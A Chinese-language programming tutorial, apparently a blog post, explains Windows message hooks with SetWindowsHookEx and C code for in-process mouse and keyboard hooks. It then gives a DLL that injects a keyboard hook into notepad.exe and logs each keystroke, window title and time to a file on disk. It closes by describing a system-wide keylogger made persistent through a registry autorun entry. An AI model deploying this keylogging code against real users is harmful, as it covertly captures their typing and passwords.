一 HOOK简介
1. HOOK技术本质是利用 API 来提前拦截并处理 Windows 消息的一种技术。
2. 运行机制:钩子实际上是一个处理消息的程序段,通过系统调用,把它挂入系统中,每当特定的消息发出,在到达目的窗口之前,钩子程序就先截获该消息,这时钩子函数即可以加工处理(改变)该消息,也可以不作处理而继续传递该消息,还可以强制结束消息的传递。
二 进程[线程]钩子
1. 说明:只对当前进程起作用。
2. 在可执行程序中实现自身进程钩子
2.1 流程
第一步 在窗口过程中用 SetWindowsHookEx 设置钩子
第二步 编写回调函数,即钩子函数的处理过程
第三步 用 UnhookWindowsHookEx 卸载钩子
2.2 代码示例
//鼠标钩子函数的句柄
HHOOK g_mouseHook = NULL;
//键盘钩子函数的句柄
HHOOK g_keyboardHook = NULL;
//6. 在窗口过程中处理消息(回调函数)
//参数1:消息所属的窗口句柄
//参数2:消息名称
//参数3:键盘附加消息
//参数4:鼠标附加消息
LRESULT CALLBACK WindowProc(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
g_hwnd = hwnd;
//注意:所有 xxxWindow 为结尾的方法 ,都不会进入到消息队列中,而是直接执行。
switch (uMsg)
{
case WM_CREATE://窗口创建消息
//设置鼠标钩子
//参数1:钩子类型
//参数2:回调函数,钩子函数处理过程
//参数3:动态链接句柄,若参数4设置为当前进程,则此参数必须设置为NULL
//参数4:线程ID,GetCurrentThreadId():获取当前线程
//返回值:成功返回参数2钩子函数处理过程的句柄,失败返回NULL(0)
g_mouseHook = SetWindowsHookEx(WH_MOUSE, MouseProc, NULL, GetCurrentThreadId());
//设置键盘钩子
//参数1:钩子类型
//参数2:回调函数,钩子函数处理过程
//参数3:动态链接句柄,若参数4设置为当前进程,则此参数必须设置为NULL
//参数4:线程ID,GetCurrentThreadId():获取当前线程
//返回值:成功返回参数2钩子函数处理过程的句柄,失败返回NULL(0)
g_keyboardHook = SetWindowsHookEx(WH_KEYBOARD, KeyBoardProc, NULL, GetCurrentThreadId());
break;
case WM_CLOSE: // 关闭窗口
DestroyWindow(hwnd);//DestroyWindow 会发送另一个消息WM_DESTROY,去关闭窗口进程。若将下面的 case WM_DESTROY 注释掉,点击关闭窗口后,exe 进程不会关闭,只会关闭窗口。
break;
case WM_DESTROY: // 关闭窗口进程(exe)
PostQuitMessage(0);
break;
case WM_LBUTTONDOWN: //鼠标左键按下
{
//鼠标左键点击坐标
int xPos = LOWORD(lParam);
int yPos = HIWORD(lParam);
char buf[1024];
//拼接
wsprintf(buf, TEXT("x = %d,y = %d"), xPos, yPos);
//弹出窗口显示
MessageBox(hwnd, buf, TEXT("鼠标左键按下"), MB_OK);
break;
}
case WM_KEYDOWN: //键盘按键消息
MessageBox(hwnd, TEXT("键盘按下"), TEXT("键盘按下"), MB_OK);
break;
case WM_PAINT: //绘图事件
{
PAINTSTRUCT ps; //绘图结构体
HDC hdc = BeginPaint(hwnd, &ps); // dc
TextOut(hdc, 100, 100, TEXT("HELLO"), strlen("HELLO"));
EndPaint(hwnd, &ps);
}
break;
}
//返回值用缺省(默认)方式处理
return DefWindowProc(hwnd, uMsg, wParam, lParam);
}
//回调函数:鼠标钩子函数的处理过程
//参数1:是否处理该消息?
//参数2:消息的附加信息,例如:键盘按键的虚拟代码、鼠标的消息类型等
//参数3:消息的附加信息,查MSDN
//返回值:
//情况1:return 1 :屏蔽消息:表示当前消息已经处理过了,不再向下传递
//情况2:return CallNextHookEx(g_mouseHook, nCode, wParam, lParam):让消息继续向下传递
LRESULT CALLBACK MouseProc(int nCode, WPARAM wParam, LPARAM lParam)
{
return 1;//屏蔽消息:表示当前消息已经处理过了,不再向下传递
//函数 CallNextHookEx 功能:将钩子信息传递到当前钩子链中的下一个子程,一个钩子程序可以调用这个函数之前或之后处理钩子信息
//参数1:当前钩子的句柄
//参数2、3、4:与回调函数:钩子函数的处理过程一致
//返回值:返回这个值链中的下一个钩子程序
//return CallNextHookEx(g_mouseHook, nCode, wParam, lParam);//让消息继续向下传递
}
//回调函数:键盘钩子函数的处理过程
//参数1:是否处理该消息?
//参数2:消息的附加信息,例如:键盘按键的虚拟代码、鼠标的消息类型等
//参数3:消息的附加信息,查MSDN
//返回值:
//情况1:return 1 :屏蔽消息:表示当前消息已经处理过了,不再向下传递
//情况2:return CallNextHookEx(g_mouseHook, nCode, wParam, lParam):让消息继续向下传递
LRESULT CALLBACK KeyBoardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
if (wParam == VK_SPACE)//屏蔽空格键
{
return 1;//屏蔽消息:表示当前消息已经处理过了,不再向下传递
}
else if (wParam == VK_F1)//F1键卸载键盘钩子和鼠标钩子
{
//功能:卸载设置的钩子函数
//参数1:钩子函数的句柄
UnhookWindowsHookEx(g_mouseHook);//卸载鼠标钩子
UnhookWindowsHookEx(g_keyboardHook);//卸载键盘钩子
}
//函数 CallNextHookEx 功能:将钩子信息传递到当前钩子链中的下一个子程,一个钩子程序可以调用这个函数之前或之后处理钩子信息
//参数1:当前钩子的句柄
//参数2、3、4:与回调函数:钩子函数的处理过程一致
//返回值:返回这个值链中的下一个钩子程序
return CallNextHookEx(g_keyboardHook, nCode, wParam, lParam);//让 hook 钩子传递下去
}
1. 在键盘回调函数中卸载钩子
//回调函数:键盘钩子函数的处理过程
//参数1:是否处理该消息?
//参数2:消息的附加信息,例如:键盘按键的虚拟代码、鼠标的消息类型等
//参数3:消息的附加信息,查MSDN
//返回值:
//情况1:return 1 :屏蔽消息:表示当前消息已经处理过了,不再向下传递
//情况2:return CallNextHookEx(g_mouseHook, nCode, wParam, lParam):让消息继续向下传递
LRESULT CALLBACK KeyBoardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
if (wParam == VK_SPACE)//屏蔽空格键
{
return 1;//屏蔽消息:表示当前消息已经处理过了,不再向下传递
}
else if (wParam == VK_F1)//F1键卸载键盘钩子和鼠标钩子
{
//功能:卸载设置的钩子函数
//参数1:钩子函数的句柄
UnhookWindowsHookEx(g_mouseHook);//卸载鼠标钩子
UnhookWindowsHookEx(g_keyboardHook);//卸载键盘钩子
}
//函数 CallNextHookEx 功能:将钩子信息传递到当前钩子链中的下一个子程,一个钩子程序可以调用这个函数之前或之后处理钩子信息
//参数1:当前钩子的句柄
//参数2、3、4:与回调函数:钩子函数的处理过程一致
//返回值:返回这个值链中的下一个钩子程序
return CallNextHookEx(g_keyboardHook, nCode, wParam, lParam);//让 hook 钩子传递下去
}
3. 在指定进(线)程中设置钩子
3.1 流程
第一步 在DLL中实现钩子操作
第二步 在可执行程序中使用DLL函数设置钩子,只要可执行程序不关闭,钩子就一直生效。
3.2 代码示例
根据进程名程获取进程的主线程ID(默认进程的第一个线程为主线程)
DWORD GetMainThreadIdFromName(WCHAR* szProcessName)
{
DWORD idThread = 0; // 主线程ID
DWORD idProcess = 0; // 进程ID
PROCESSENTRY32 pe; // 进程信息
pe.dwSize = sizeof(PROCESSENTRY32);
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); // 获取系统进程列表
if (Process32First(hSnapshot, &pe)) // 返回系统中第一个进程的信息
{
do
{
if (0 == _wcsicmp(pe.szExeFile, szProcessName)) // 不区分大小写比较
{
idProcess = pe.th32ProcessID;
break;
}
} while (Process32Next(hSnapshot, &pe)); // 下一个进程
}
CloseHandle(hSnapshot); // 删除快照
if (idProcess == 0)
{
return 0;
}
// 获取进程的主线程ID
THREADENTRY32 te; // 线程信息
te.dwSize = sizeof(THREADENTRY32);
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0); // 系统所有线程快照
if (Thread32First(hSnapshot, &te)) // 第一个线程
{
do
{
if (idProcess == te.th32OwnerProcessID) // 认为找到的第一个该进程的线程为主线程
{
idThread = te.th32ThreadID;
break;
}
} while (Thread32Next(hSnapshot, &te)); // 下一个线程
}
CloseHandle(hSnapshot); // 删除快照
return idThread;
}
1. 导出函数:设置钩子
int InstallHook(WCHAR* szProcessName)
{
// 根据进程名程获取进程的主线程ID(默认进程的第一个线程为主线程)
DWORD ThreadId = GetMainThreadIdFromName(szProcessName);
if (ThreadId == 0)
{
MessageBox(NULL, L"获取记事本进程的主线程 Id 失败", L"提示", 0);
}
//给名称为 szProcessName 的进程设置键盘钩子
g_hKeyBoardHook = SetWindowsHookEx(WH_KEYBOARD, KeyBoardProc, GetModuleHandle(L"HookDll.dll"), ThreadId);
if (g_hKeyBoardHook == NULL)
{
return 0;
}
return 1;
}
2. 导出函数:卸载钩子
int UnInstallHook()
{
//卸载键盘钩子
return UnhookWindowsHookEx(g_hKeyBoardHook);
}
3. 回调函数:键盘钩子函数的处理过程
LRESULT CALLBACK KeyBoardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
//nCode > 0 才能进行处理
if (nCode < 0 || nCode == HC_NOREMOVE)
return CallNextHookEx(g_hKeyBoardHook, nCode, wParam, lParam);//让 hook 钩子传递下去
//按下F12卸载键盘钩子
if (wParam == VK_F12)
{
UnhookWindowsHookEx(g_hKeyBoardHook);//卸载键盘钩子(焦点必须在调用该DLL的应用程序上)
}
else
{
//此代码可以只记录键盘抬起,不记录键盘按下
if (lParam & 0x40000000)
{
return CallNextHookEx(g_hKeyBoardHook, nCode, wParam, lParam);//让 hook 钩子传递下去
}
//获取当前窗口(活动窗口、顶层窗口)的标题
HWND hWndCurrent = GetActiveWindow();//获取活动窗口
if (hWndCurrent == NULL)
{
hWndCurrent = GetForegroundWindow();//获取顶层窗口
if (hWndCurrent == NULL)
{
return CallNextHookEx(g_hKeyBoardHook, nCode, wParam, lParam);//让 hook 钩子传递下去
}
}
//获取窗口标题
TCHAR szTitle[256] = {0};
GetWindowText(hWndCurrent, szTitle, 255);
//获取UTC(格林威治时间、全球标准时间)时间
/*SYSTEMTIME stUTC;
::GetSystemTime(&stUTC);
TCHAR szTime[256];
wsprintf(szTime, L"UTC: %u/%u/%u %u:%u:%u:%u %d/r/n",
stUTC.wYear, stUTC.wMonth, stUTC.wDay,
stUTC.wHour, stUTC.wMinute, stUTC.wSecond,
stUTC.wMilliseconds, stUTC.wDayOfWeek);*/
//获取当地的时间
SYSTEMTIME stLocal;
::GetLocalTime(&stLocal);
TCHAR szTime[256] = {0};
wsprintf(szTime, L"Local: %u/%u/%u %u:%u:%u:%u %d",
stLocal.wYear, stLocal.wMonth, stLocal.wDay,
stLocal.wHour, stLocal.wMinute, stLocal.wSecond,
stLocal.wMilliseconds, stLocal.wDayOfWeek);
//GetKeyNameText
//功能:检取表示键名的字符串
//参数1:键盘消息
//参数2:缓冲区指针,存储键名
//参数3:指定键名的最大长度
//返回值:成功返回字符串长度,失败返回0
TCHAR szKey[50] = {0};
GetKeyNameText(lParam, szKey, 50);
//字符串拼接
TCHAR sz[1000] = { 0 };
wcscat(sz, szTime);
wcscat(sz, L" ");
wcscat(sz, szTitle);
wcscat(sz, L": ");
wcscat(sz, szKey);
wcscat(sz, L"\r\n");
//MessageBox(NULL, sz, L"按键信息", NULL);
//将按键信息记录到文件中
DWORD dwWriten = 0;
HANDLE hFile = NULL;
hFile = CreateFile(L"D:\\键盘记录.txt", GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (GetLastError() == ERROR_FILE_NOT_FOUND)//文件不存在就新建文件
{
hFile = CreateFile(L"D:\\键盘记录.txt", GENERIC_WRITE, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
static const BYTE unicodeHead[] = { 0xFF, 0xFE }; //写入UTF-16文件标识
WriteFile(hFile, unicodeHead, sizeof(unicodeHead), &dwWriten, NULL);
}
//文件指针移动到文件末尾,追加内容的关键操作
SetFilePointer(hFile, NULL, NULL, FILE_END);
//将内容写入文件
WriteFile(hFile, sz, wcslen(sz) * sizeof(TCHAR), &dwWriten, NULL);
//刷新指定文件的缓冲区并将所有缓冲数据写入文件
FlushFileBuffers(hFile);
//关闭文件
CloseHandle(hFile);
}
return CallNextHookEx(g_hKeyBoardHook, nCode, wParam, lParam);//让 hook 钩子传递下去
//return 1;
}
//在窗口注册消息中设置钩子,在窗口关闭消息中卸载钩子。
LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{
switch (message)
{
case WM_CREATE://窗口创建消息
{
//给记事本应用程序设置键盘钩子
WCHAR szProcessName[100] = { L"notepad.exe" };
InstallHook(szProcessName);
break;
}
case WM_CLOSE: //关闭窗口
UnInstallHook();//卸载键盘钩子
DestroyWindow(hWnd);
break;
......
}
return 0;
}
三 全局[系统]钩子
1. 说明:对系统中所有的进程起作用。
2. 通过DLL + 可执行程序实现全局钩子
2.1 流程
第一步 在DLL中实现全局钩子操作
第二步 在可执行程序中使用DLL设置全局钩子,只要可执行程序不关闭,全局钩子就一直生效。
3. 举例:使用全局钩子实现键盘记录器,通过修改注册表设置开机自启动,记录键盘输入。
完整的代码在绑定的资源中,审核通过后可免费下载。